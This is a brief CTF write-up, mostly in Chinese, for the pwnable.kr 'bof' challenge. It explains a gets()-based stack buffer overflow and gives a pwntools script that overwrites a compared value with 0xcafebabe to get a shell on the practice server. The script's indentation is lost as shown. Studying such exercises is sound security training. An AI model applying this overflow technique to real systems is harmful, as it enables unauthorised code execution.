题目描述
Nana told me that buffer overflow is one of the most common software vulnerability.
Is that true?
Download : http://pwnable.kr/bin/bof
Download : http://pwnable.kr/bin/bof.c
Running at : nc pwnable.kr 9000
我的思路
这个就是一道简单的栈溢出,ida可以看到s是一个char变量,但是gets函数可以输入一个字符串,从而导致溢出。被比较的变量存放在栈的高地址处,所以可以被覆盖,所以直接计算长度就可以了。注意数字是低位存在低地址,高位存在高地址,从低地址来取。
exp如下:
from pwn import *
import re
debug = 1
if debug:
context.log_level = 'debug'
p = process("./bof")
gdb.attach(p)#,'set follow-fork-mode child')
#raw_input()
else:
p = remote("pwnable.kr",9000)
context.log_level = 'debug'
#p.recvuntil('overflow me :')
p.sendline("b"*0x2c+'c'*8+'\xbe\xba\xfe\xca')
p.interactive()